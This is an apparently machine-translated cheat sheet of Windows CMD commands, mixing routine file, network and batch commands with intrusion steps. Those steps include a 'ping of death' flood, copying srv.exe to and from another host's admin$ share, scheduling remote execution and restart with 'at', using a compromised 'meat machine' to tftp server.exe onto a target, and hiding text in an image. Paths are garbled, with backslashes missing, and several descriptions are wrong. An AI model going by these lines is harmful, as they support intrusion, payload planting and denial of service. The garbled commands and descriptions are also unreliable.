win under Cmd

ping ip (or domain name) Send data with a default size of 32 bytes to the other host, parameters: "-l [space] packet size"; "-n times of sending data"; "-t" means ping all the time.
  ping -t -l 65550 ip ping of death (sending a file larger than 64K and pinging all the time becomes ping of death)
  ipconfig (winipcfg) is used for windows NT and XP (windows 95 98) to view the local ip address, ipconfig can be used as a parameter" /all" displays all configuration information
  tlist -t displays the process in a tree line list (it is an additional tool of the system, it is not installed by default, in the Support/tools folder of the installation directory)
  kill -F After adding the -F parameter to the process name Forcibly end a process (it is an additional tool of the system, it is not installed by default, it is in the Support/tools folder of the installation directory)
  del -F After adding the -F parameter to the file name, the read-only file can be deleted, /AR, /AH , /AS, /AA means to delete read-only, hidden, system, and archive files, respectively, /AR, /AH, /AS, /AA means to delete files other than read-only, hidden, system, and archive. For example, "DEL/AR *.*" means delete all read-only files in the current directory, "DEL/AS *.*" means delete all files in the current directory except system files
  del /S /Q directory or use: rmdir / s /Q directory /S deletes the directory and all subdirectories and files under the directory. Simultaneously use the parameter /Q to cancel the system confirmation of the delete operation and delete it directly. (The two commands have the same function)
  move The path of the drive letter path The file name to be moved is the path to store the moved file. After the move, the file name is moved. Use the parameter /y to cancel the prompt to confirm that the same file exists in the moved directory and overwrite it directly.
  fc one.txt two.txt > 3st.txt Compare the two files and output the difference to the 3st.txt file, "> " and "> >" are redirect commands
  at id number to open a registered plan Task
  at /delete stop all scheduled tasks, use parameter /yes to stop directly without confirmation
  at id number /delete stop a registered scheduled task
  at view all scheduled tasks
  at ip time program name (or a command) / r Run a program of the other party at a certain time and restart the computer
  finger username @host to see which users have recently logged in to the
  telnet ip port far and the login server, the default port is 23
  open ip connect to the IP (a command after telnet login)
  telnet in this Typing telnet directly on the machine will enter the local telnet
  copy path file name 1 path file name 2 /y Copy file 1 to the specified directory as file 2, use the parameter /y to cancel the confirmation at the same time that you want to rewrite an existing directory file
  copy c:srv.exe ipadmin$ Copy the local c:srv.exe to the other party's admin
  copy 1st.jpg/b+2st.txt/a 3st.jpg Hide the content of 2st.txt in 1st.jpg to generate 3st.jpg New file, note: 2st.txt file header should be empty three rows, parameters: /b refers to binary file, /a refers to ASCLL format file
  copy ipadmin$svv.exe c: or :copyipadmin$*.* Copy the srv.exe file (all files) shared by the other party's admini$ to the local C:
  xcopy the file to be copied or the directory tree target address directory name Copy files and directories tree, use the parameter /Y to overwrite the same file without prompting.
  Use the parameter /e to copy the subdirectories under the directory to the target address.
  tftp -i own IP (when using the meat machine as a springboard, this is the meat machine IP) get server.exe c:server.exe After logging in, download the server.exe of "IP" to the target host c:server.exe Parameters:- i means to transmit in binary mode, such as when transmitting exe files, if you do not add -i, then transmit in ASCII mode (transmission text file mode)
  tftp -i the other party's IP put c:server.exe After logging in, upload the local c:server .exe to the host
  ftp ip port is used to upload files to the server or perform file operations, the default port is 21. bin refers to binary transmission (executable file entry); the default is ASCII format transmission (text file)
  route print Displays the IP route, and will mainly display the network address Network addres, subnet mask Netmask, gateway address Gateway addres, interface Address Interface
  arp View and process ARP cache, ARP is the meaning of name resolution, and is responsible for resolving an IP into a physical MAC address. arp -a will display all the information
  start program name or command /max or /min open a new window and maximize (minimize) run a program or command
  mem view cpu usage
  attrib file name (directory name) view a file (directory) properties
  attrib file name -A -R -S -H or +A +R +S +H to remove (add) the archive, read-only, system, and hidden attributes of a file; use + to add it as an attribute
  dir to view the file, parameters : /Q shows which user the file and directory belong to, /T:C shows the file creation time, /T:A shows the last access time of the file, /T:W last modified time
  date /t, time /t use This parameter i.e. "DATE/T", "TIME/T" will only display the current date and time without having to enter a new date and time
  set Specify the name of the environment variable = the character to be assigned to the variable Set the environment variable
  set Display all current environments variable
  set p (or other characters) displays all environment variables currently starting with the character p (or other characters)
  pause pauses the batch program and displays: please press any key to continue....
  if execute in the batch program Conditional processing (see the if command and variables for more details)
  The goto tag directs cmd.exe to the labelled line in the batch program (the label must be a separate line and start with a colon, eg: ":start" label)
  call path batch Process filenames call another batch program from within a batch program (see call /? for more instructions)
  for execute a specific command on each file in a set of files (see for command and variables for more instructions)
  echo on or off to turn on or off echo, only use echo without parameters to display the current echo settings
  echo information on the screen to display the information
  echo information >> pass.txt save the "information" to the pass.txt file
  findstr "Hello" aa.txt Find the string hello in the aa.txt file
  find the file name to find a file
  title title name change the CMD window title name
  color color value set the cmd console foreground and background color; 0=black, 1=blue , 2=green, 3=light green, 4=red, 5=purple, 6=yellow, 7=white, 8=gray, 9=light blue, A=light green, B=light green, C=light red , D=light purple, E=light yellow, F=bright white
  prompt Change the command prompt displayed by cmd.exe (change C:, D: to: EntSky)
  ver Display version information in the DOS window
  winver pops up A window displays version information (memory size, system version, patch version, computer name)
  format drive letter/FS: type formatted disk, type: FAT, FAT32, NTFS, for example: Format D: /FS:NTFS
  md directory name creation directory
  replace source file directory to be replaced replace file
  ren original file name new file name rename file name
  tree display directory in tree structure, use parameter -f to list the file name in the first folder
  type file name display text file content
  more filename output file
  doskey command to lock=chars
  doskey command to unlock = lock command provided for DOS (edit command line, recall win2k commands, and create macros). Such as: lock dir command: doskey dir=entsky (doskey dir=dir cannot be used); unlock: doskey dir=
  taskmgr bring up task manager
  chkdsk /FD: check disk D and display status report; add parameter /f and repair disk The error
  tlntadmn telnt service admn, type tlntadmn select 3, then select 8, you can change the default port 23 of the telnet service to any other port
  exit Exit the cmd.exe program or currently, use the parameter /B to exit the current batch script instead of cmd.exe
  path Path The filename of the executable file sets a path for the executable file.
  cmd starts a win2K command interpreter window.
  Parameter: /eff, /en turn off and turn on command extension; see cmd /? regedit /s registry file name to import registry for more details ; parameter /S refers to import in quiet mode without any prompt;
  regedit /e registry file The name export registry
  cacls file name parameter displays or modifies the file access control list (ACL) - for NTFS format. Parameters: /D username: set to deny access to a user; /P username: perm replace the access authority of the specified user; /G username: perm give the specified user access authority; Perm can be: N no, R read, W write, C change (write), F full control; eg: cacls D: est.txt /D pub set d: est.txt to deny pub user access.
  cacls filename View the list of access user permissions for the file
  REM text content Add comments to batch files
  netsh View or change the local network configuration

Guess you like

Origin http://10.200.1.11:23101/article/api/json?id=326777647&siteId=291194637